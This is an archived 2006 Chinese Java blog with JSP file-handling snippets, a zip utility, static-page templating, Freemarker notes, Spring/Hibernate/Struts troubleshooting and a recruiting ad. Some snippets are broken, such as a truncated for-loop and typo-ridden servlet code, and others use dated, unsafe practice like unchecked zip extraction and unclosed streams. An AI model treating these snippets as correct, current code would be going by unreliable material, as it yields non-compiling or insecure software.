How to use JDBC and transactions in Tomcat with JOTM(For Tomcat 5.5.x)
UserTransaction, JOTM and Tomcat 5.5.x

智者无疆 2006-09-21 14:55 发表评论

Java中对文件的操作

智者无疆 — Mon, 04 Sep 2006 08:08:00 GMT

Java 中对文件的操作
java中提供了io类库，可以轻松的用java实现对文件的各种操作。下面就来说一下如何用java来实现这些操作。

1。新建目录

<%@ page contentType="text/html;charset=gb2312"%>
<%
String filePath="c:/aaa/";
filePath=filePath.toString();//中文转换
java.io.File myFilePath=new java.io.File(filePath);
if(!myFilePath.exists())
myFilePath.mkdir();
%>

2。新建文件

<%@ page contentType="text/html;charset=gb2312"%>
<%@ page import="java.io.*" %>
<%
String filePath="c:/哈哈.txt";
filePath=filePath.toString();
File myFilePath=new File(filePath);
if(!myFilePath.exists())
myFilePath.createNewFile();
FileWriter resultFile=new FileWriter(myFilePath);
PrintWriter myFile=new PrintWriter(resultFile);
String strContent = "中文测试".toString();
myFile.println(strContent);
resultFile.close();
%>

3。删除文件

<%@ page contentType="text/html;charset=gb2312"%>
<%
String filePath="c:/支出证明单.xls";
filePath=filePath.toString();
java.io.File myDelFile=new java.io.File(filePath);
myDelFile.delete();
%>

4。文件拷贝

<%@ page contentType="text/html; charset=gb2312" %>
<%@ page import="java.io.*" %>
<%
int bytesum=0;
int byteread=0;
file://读到流中
InputStream inStream=new FileInputStream("c:/aaa.doc");
FileOutputStream fs=new FileOutputStream( "d:/aaa.doc"); byte[] buffer =new byte[1444];
int length;
while ((byteread=inStream.read(buffer))!=-1)
{
out.println("

"+byteread+"

");
   bytesum+=byteread;
   System.out.println(bytesum);
   fs.write(buffer,0,byteread);
}
inStream.close();
%>

5。整个文件夹拷贝

<%@ page contentType="text/html;charset=gb2312"%>
<%@ page import="java.io.*" %>
<%String url1="C:/aaa";
String url2="d:/java/";
(new File(url2)).mkdirs();
File[] file=(new File(url1)).listFiles();
for(int i=0;i if(file[i].isFile()){
   file[i].toString();
   FileInputStream input=new FileInputStream(file[i]);
   FileOutputStream output=new FileOutputStream(url2+"/"+(file[i].getName()).toString());
   byte[] b=new byte[1024*5];
    int len;
    while((len=input.read(b))!=-1){
    output.write(b,0,len);
    }
    output.flush();
    output.close();
    input.close();
}
}
%>

6。文件下载

<%@ page contentType="text/html; charset=gb2312" %>
<%@ page import="java.io.*" %>
<%
String fileName = "zsc104.swf".toString();
//读到流中
InputStream inStream=new FileInputStream("c:/zsc104.swf");
//设置输出的格式
response.reset();
response.setContentType("bin");
response.addHeader("Content-Disposition","attachment; filename=\"" + fileName + "\"");
//循环取出流中的数据
byte[] b = new byte[100];
int len;
while((len=inStream.read(b)) >0)
response.getOutputStream().write(b,0,len);
inStream.close();
%>

7。数据库字段中的文件下载

<%@ page contentType="text/html; charset=gb2312" %>
<%@ page import="java.sql.*"%>
<%@ page import="java.lang.*" %>
<%@ page import="java.io.*" %>
<%@ page import="com.jspsmart.upload.*" %>
<%@ page import="DBstep.iDBManager2000.*"%>
<%
int bytesum=0;
int byteread=0;
//打开数据库
ResultSet result=null;
String Sql=null;
PreparedStatement prestmt=null;
DBstep.iDBManager2000 DbaObj=new DBstep.iDBManager2000();
DbaObj.OpenConnection();
//取得数据库中的数据
Sql="select * from t_local_zhongzhuan ";
result=DbaObj.ExecuteQuery(Sql);
result.next();

file://将数据库中的数据读到流中
InputStream inStream=result.getBinaryStream("content");
FileOutputStream fs=new FileOutputStream( "c:/dffdsafd.doc");

byte[] buffer =new byte[1444];
int length;
while ((byteread=inStream.read(buffer))!=-1)
{
out.println("

"+byteread+"

");
     bytesum+=byteread;
     System.out.println(bytesum);
     fs.write(buffer,0,byteread);
     }
%>

8。把网页保存成文件

<%@ page import="java.text.*"%>
<%@ page import="java.util.*"%>
<%@ page import="java.io.*"%>
<%@ page import="java.net.*"%>
<%
URL stdURL = null;
BufferedReader stdIn = null;
PrintWriter stdOut = null;
try {
stdURL = new URL("http://www.163.com");
}
catch (MalformedURLException e) {
throw e;
}

try {
stdIn = new BufferedReader(new InputStreamReader(stdURL.openStream()));
stdOut = new PrintWriter(new BufferedWriter(new FileWriter("c:/163.html")));
}
catch (IOException e) {
}

/***把URL指定的页面以流的形式读出，写成指定的文件***/
try {
   String strHtml = "";
   while((strHtml = stdIn.readLine())!=null) {
   stdOut.println(strHtml);
   }
}
catch (IOException e) {
   throw e;
}
finally {
   try {
     if(stdIn != null)
       stdIn.close();
     if(stdOut != null)
       stdOut.close();
   }
   catch (Exception e) {
     System.out.println(e);
   }
}
%>

9。直接下载网上的文件

<%@ page import="java.io.*"%>
<%@ page import="java.net.*"%>
<%
int bytesum=0;
int byteread=0;

URL url = new URL("http://pimg.163.com/sms/micheal/logo.gif");
URLConnection conn = url.openConnection();
InputStream inStream = conn.getInputStream();
FileOutputStream fs=new FileOutputStream( "c:/abc.gif");

byte[] buffer =new byte[1444];
   int length;
    while ((byteread=inStream.read(buffer))!=-1)
    {
       out.println("

"+byteread+"

");
       bytesum+=byteread;
       System.out.println(bytesum);
       fs.write(buffer,0,byteread);
     }
%>

这些是我积累的一些java中对文件的操作，希望对大家有点启发。

java处理压缩文件2006-9-1 0:01:11

java处理压缩文件

import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.util.zip.ZipEntry;
import java.util.zip.ZipInputStream;
import java.util.zip.ZipOutputStream;

public class zipTest2 {
String fileName1 = ".\\zipfile.zip";
String fileName2 = ".\\zipfile.zip";
File sourceFile = new File(fileName1);
File targetFile = new File(fileName2);

public void makeZip()
{

  ZipOutputStream zipos;
  try {
   if (!targetFile.exists())
    targetFile.createNewFile();
   zipos = new ZipOutputStream(new FileOutputStream(targetFile));

zipos.setMethod(ZipOutputStream.DEFLATED); // 设置压缩方法

zipos.putNextEntry(new ZipEntry("file1.txt"));// 创建文件

DataOutputStream data_output = new DataOutputStream(zipos);

data_output.writeInt(1);

zipos.putNextEntry(new ZipEntry("file2.txt"));
data_output.writeUTF("Helloworld");

zipos.close();

   // 生成一个ZIP entry,写入文件输出流中,并将输出流定位于entry起始处。
  } catch (Exception e) {
   e.printStackTrace();
  }
}

public void unzip()
{
  ZipInputStream zipis;
  try {
   zipis = new ZipInputStream(new FileInputStream(fileName1));

   File dir = new File(fileName1.substring(0, fileName1.length() - 4));
   System.out.println(dir);
   dir.mkdir();// 创建文件夹
   ZipEntry ze;// 压缩内部文件入口
   while ( (ze = zipis.getNextEntry()) != null) {
    String file = fileName1.substring(0, fileName1.length() - 4)
      + "\\" + ze.getName();// 生成文件绝对路径及文件名
    File newFile = new File(file);
    System.out.println(file);
    newFile.createNewFile();
    DataInputStream data_input = new DataInputStream(zipis);// 源
    DataOutputStream fileWriter = new DataOutputStream(// 目标
      new FileOutputStream(newFile));

    int BUFFER = 1024;
    byte[] buffer = new byte[BUFFER];
    int count = 0;
    while ( (count = data_input.read(buffer, 0, BUFFER)) != -1) {
     fileWriter.write(buffer, 0, count);
    }
    // 关闭流
    fileWriter.flush();
    fileWriter.close();

   }
   zipis.close();
  } catch (Exception e) {
   e.printStackTrace();
  }
}

public static void main(String[] args)
{
  zipTest2 z = new zipTest2();
  // z.makeZip();
  z.unzip();
}

}

智者无疆 2006-09-04 16:08 发表评论

招聘程序员，信息员等

智者无疆 — Sun, 06 Aug 2006 11:43:00 GMT

本工作室现招聘
技术员包括：各种程序员（语言不限），但要有经验，要求在北京，最好在海淀，丰台等程序员和
网页制作人员等等。
信息员：对于能提供项目信息（暂定为网站项目）的人员，将提供较高的提成。
若加盟请注明：使用语言种类，开发经验程度等
联系QQ：280199080。
加盟群：28339660

智者无疆 2006-08-06 19:43 发表评论

JSP生成静态页实践及其设计思想

智者无疆 — Fri, 28 Jul 2006 06:42:00 GMT

引子：
我们以两个大型网站为例作比较：
51job和智联招聘（先声明我不是为他们作广告，仅以他们为例作技术上的比较）
51job采用的是比较“先进”的php技术，而智联用的是比较落后的asp.但我们可能会明显的感觉到51job的反应速度相比智联招聘实在是太慢了，为什么会这样？细心的人可能会察觉到了。智联虽然用的是asp,但他采用了另一种更巧妙的技术--asp生成静态页技术。所有的动态页基本上都转换成了html静态页，不用访问数据库，当然反应快了。
下面我们讨论一下jsp怎么转换成html??
首先要做一个模板。后缀不限，但一般都用*.template例子

#title#

#title#

作者：#author#

#content#

做一个处理模板的类或者jsp文件、(为说明问题我们从简单入手以一个jsp文件为例)
filePath = request.getRealPath("/")+"WEB-INF/templates/template.htm";
out.print(filePath);
String templateContent="";
FileInputStream fileinputstream = new FileInputStream(filePath);//读取模块文件
int lenght = fileinputstream.available();
byte bytes[] = new byte[lenght];
fileinputstream.read(bytes);
fileinputstream.close();
templateContent = new String(bytes);
out.print("以下是模板内容：
"+templateContent+"
以下是置换以后的html内容

");
templateContent=templateContent.replaceAll("#title#",title);
templateContent=templateContent.replaceAll("#author#",editer);//替换掉模块中相应的地方
templateContent=templateContent.replaceAll("#content#",content);
// 根据时间得文件名
Calendar calendar = Calendar.getInstance();
String fileame = String.valueOf(calendar.getTimeInMillis()) +".html";
fileame = request.getRealPath("/")+fileame;//生成的html文件保存路径

out.print(templateContent);
FileOutputStream fileoutputstream = new FileOutputStream(fileame);//建立文件输出流
byte tag_bytes[] = templateContent.getBytes();
fileoutputstream.write(tag_bytes);
fileoutputstream.close();
嗯，核心技术就是这样了，如果大家要求的性能更高，可以改用freemarker做模板。freemarker的使用方法可以参阅我的另一篇文章《Freemarker 模板工具的作用及使用》

智者无疆 2006-07-28 14:42 发表评论

Freemarker 模板工具的作用及使用（1）

智者无疆 — Thu, 20 Jul 2006 10:06:00 GMT

今天下午才接触到Freemarker这个新组件，同样，它也是java开源代码之一。
经过今天的初步使用，感觉它的作用是减轻编写Servlet的工作量的。我想它也应该应用在jsp页面里面。有人说jsp还要经过转换才变成Servlet才能运行，比直接写servlet运行要慢，我觉得这种担心是多余的，因为jsp比servlet只慢一次（第一次请求为编译，之后就把servlet代码驻留在服务器了）。
我作Freemarker的试验的步骤是：
1,下载freemarker,address is :http://www.freemarker.org/freemarkerdownload.html
2,release it ,然后把\freemarker-2.3.8\lib下的freemarker加入到eclipse.
3.在WEB-INF/下面新建templates文件包，然后在里面新建扩展名为ftl的模板。
4.新建 servlet,in it write your code like this:
void init ()throw ServletException{
cfg = new Configuration();
cfg.setServletContextFromTemplateLoading(getServletContext,"WEB-INF/test.ftl");

}

public void doGet(HttpServletRequest request,HttpServlsetResponse response)throw ServletException ,IOException{
Map root = new HashMap();
root.put("message"，“hello world”);
Template t =cfg.getTemplate("text/html");
PrintWriter out = response.getWriter();
try{
t.prosess(root,out);//看到了吧？用模板来开发servlet可以让我们用一句代码代替一堆代码。
}catch(TemplateException e ){ e.print...}
}

智者无疆 2006-07-20 18:06 发表评论

spring,hibernate,struts应用中的错误及更正-（3）

智者无疆 — Tue, 11 Jul 2006 07:10:00 GMT

这两天公司任务不紧，这样就给我不少做试验的机会和时间。今天的试验是在action里面写多个不同的方法，并且要得到业务层的对象以便进一步处理数据。
首先我的action要继承DispatchAction.这样才能实现多个不同的方法放在一个action里。
2.在里面写入固定的方法：
public void setServlet(ActionServlet actionServlet){
   super.setServlet(actionServlet);
   ServletContext servletContext =actionServlet.getServletContext();
WebApplicationContext wac = WebApplicationContextUtils.getRequiredWebApplicationContext(servletContext);
//然后就可以得到业务层的对象了。像我昨天说得那样做就行。（注：在这个方法里面可以得到多个不同对象，已经试验通过）
然后再一个得到service对象的方法，以供后面的方法使用。
3.多个jsp页面可以对应一个action吗？可以，已经试验通过。并且在struts_config.xml里面无须做任何改动。
4.myAction?method=addXX后面可以跟其他参数吗？可以，已经试验通过。
5，jsp向action发出请求的时候，为什么有时候出现空白异常？这时候你应该从两个方面进行检查
1，检查你的struts_config.xml forwordname
   2以上经验是我苦想了一天才得到的。

智者无疆 2006-07-11 15:10 发表评论

struts,hibernate,spring应用过程中的错误及更正（每日更新）

智者无疆 — Mon, 10 Jul 2006 08:22:00 GMT

上接“jsp页面得到业务层的对象”
1.我现在想用org.springframework.orm.hibernate.HibernateTransactionManager来给业务对象织入事务管理方法。但在调试的时候却发生了异常:Error registering bean with name 'myTransactionManager' defined in ServletContext resource [/WEB-INF/applicationContext.xml],系统在给myTransactionManager Bean注册的时候却找不到它的类。的确是很奇怪的问题，HibernateTransactionManager明明就在这儿摆着嘛，怎么系统就是找不到呢。经过几个小时的查找代码档案，发现原来我用的是Hibernate3版本。相应的org.springframework.orm.hibernate.HibernateTransactionManager也应该改成：org.springframework.orm.hibernate3.HibernateTransactionManager.汗！java程序员真累。
2.错误2，当我想在页面上得到织入事务管理的service对象时，又有一个错误来了：
org.apache.jasper.JasperException: $Proxy2
org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:372)
晕吧，代理人的待遇没问题了，可是它就是不给你做代理。经过在jsp页面上的排察：终于找到这一句：
RealnewsService newsservice=(RealnewsService)wac.getBean("newsService");
它有什么问题吗？初学者看不出什么错误来，因为语法上一点错也没有，后来经高手指点才如梦初醒：
它的声明类型应该是相应的接口。这是spring一贯的风格，（但这至于让我出错吗？郁闷），好。到今天为址，我和关注我的博客的同学应该对spring应用程序的核心配置文件有了一定的理解了。
总结一句话：解决问题的方法是：来了问题不要怕，用朴素的理念和执著的态度去战胜bug ;-)

智者无疆 2006-07-10 16:22 发表评论

我想在jsp页面里得到一个业务对象。报错，请高手指教

智者无疆 — Thu, 06 Jul 2006 10:03:00 GMT

这是我的初始化Bean工厂.
ApplicationContext ac=new FileSystemXmlApplicationContext("/WEB-INF/applicationContext.xml");
applicationContext.xml就放在WEB-INF下。可是系统却报错IOException，
系统找不到指定的文件applicationContext.xml，这是为什么？？？？？？
已经解决
原因很多。我觉得最关键原因是：对xml配置细节不重视；
1.jsp是web工程，这儿应该用webApplicationContext加载applicationContext.xml，在加载它的过程中还有找不到它的时候，我找了不少文档，有的说应该把它放到WEB-INF/classes/下才对，但我实验时还是找不到。用了个笨法，复制两份每个目录放一个--解决
2.提示service bean找不到注入的XXTarget bean，应该把属性下的ref 用bean表示，不应该用local表示.
3.提示hibernate sql 异常，提示在我们的数据库里找不到我们的表。再往下看发现我们的表名都变长了（仔细观察发现其结构是数据库名—表名）。这是怎么回事？？？
经过一番折腾，发现在hbm.xml里面有一个可先项catalog="dbname".它是我们在做配置的时候组件自己加上去的，这样自动自成的表名是对应的标准表名的。但遗憾的是我们通常不按标准给表起名。所以在这儿只能把catalog手动的去掉了。
好了。这样我们就可以在jsp页面里得到业务层的对象了，方法是传统的
wac.getBean("serviceID");

智者无疆 2006-07-06 18:03 发表评论

进一步使用FCK在线编辑器

智者无疆 — Wed, 05 Jul 2006 01:46:00 GMT

FCK的下载就不用说了，用户可以到网上搜索
1.把FCKeditor/WEB-INF/lib下的2个jar包放入工程相应目录下
把FCKeditor/wEB-INF下的FCKeditor.tld放入工程WEB-INF下
2.把FCKeditor文件包放入工程webMoudle根目录下。
3，把\FCKeditor-2.3\web\WEB-INF\web.xml添加进工程的Web.xml里。
4.引用页面按示例即可。
5.在FCKeditor/fckcig.js里可以修改编辑器的选项：包括默认文字，编辑器功能选项即：FCKConfig.ToolbarSets["Default"]里面的功能选项：无用的可以用/* */括起。

智者无疆 2006-07-05 09:46 发表评论

JBuilder,i am sorry我要找eclipse去了

智者无疆 — Wed, 05 Jul 2006 01:33:00 GMT

2006年7月5日9:29:59
我接触的第一个java开发工具是jcreator，简单方便呵呵，不过太简单了未必是什么好事，如果我只是写一些简单的javaBean，可以用它，但我写一些jsp程序，它就帮不上什么忙了。所以，后来我喜欢上了JBuilder，而且第一次用是JBuilder9,然后历经了jb2005，jb2006

她很强大，写JavaBean或者Swing界面的时候只需要轻点几下鼠标，输入几个参数，源代码哗哗的就自动生成了，这方面比微软的VB毫不逊色。你要做的就是写一些核心的逻辑。那时候，我偶而也听见过eclipse，不过我没理她，为什么理她呢，你知道熟悉一个工具并不十分轻松，而且JBuilder又没什么对不起我的地方。

后来我换了一家公司，这里的人主要用eclipse，此时的eclipse已经名声雀起了。我也趁购入公司的时候熟悉一下它的用法。的确很麻烦，你不给她配置插件，她什么都不会做，像个白痴，哪像我们的JBuilder。java世界永远都是风起云涌的，hibernate,Spring等工具接踵而至。它们号称自己是是为了减轻程序员的工作量的。好像别人都在用，没办法，学吧/学了就要用，但可怜的jbuilder还没有支持它们，而mycelipse这个插件已经完全支持他们了。我没办法不喜欢myeclipse.你先建完数据库，做好各个表之间的外键关系。然后在myeclipse里面配置hibernate,spring的性能/轻点几下按钮，俺那老天爷，那些xml,pojo代码又是哗哗地自动生成了。连sessionFactory，DateSources都一个不落，妈呀，俺这个老土就像刘姥姥头一次进大观园--看傻了眼，这时才知道为什么那么多人都放着Jbuilder不用了。

唉真是没办法啊，不得不和jbuilder说声：回见吧您。

智者无疆 2006-07-05 09:33 发表评论

BlogJava-软件艺术思考者-随笔分类-about java

tomcat get传值时的中文乱码问题。

myeclipse参数配置

正常的sql（带中文参数），在mysql-front里可以查出数据，在程序里却查不出来

JMS服务器openJms入门

OSCache的实际使用

hql editor 的使用

url 传中文乱码 的解决

几种报表图的画法

XMLConfiguration,XMLEncoder,XMLDecoder

转换当前的url，js

JAVA+dtree实现一个树形导航

java 图片缩放 当前语种及国际化资源

Apache服务器限制并发连接和下载速度

JAVA STRING UTIL

java:redirect 和forward的区别,DecimalFormat及DecimalFormat的使用

weblogic 使用笔记

BAT文件语法和技巧（bat文件的编写及使用）

Velocity学习与实践（转）

Hello ,How are you!

javax.servlet.ServletContextListener 的应用

JDOM学习

JDOM处理XML快速上手- -

在Tomcat中使用JDBC与JTA

Java中对文件的操作

招聘程序员，信息员等

JSP生成静态页实践及其设计思想

Freemarker 模板工具的作用及使用（1）

spring,hibernate,struts应用中的错误及更正-（3）

struts,hibernate,spring应用过程中的错误及更正（每日更新）

我想在jsp页面里得到一个业务对象。报错，请高手指教

进一步使用FCK在线编辑器

JBuilder,i am sorry我要找eclipse去了

url 传中文乱码的解决

java 图片缩放当前语种及国际化资源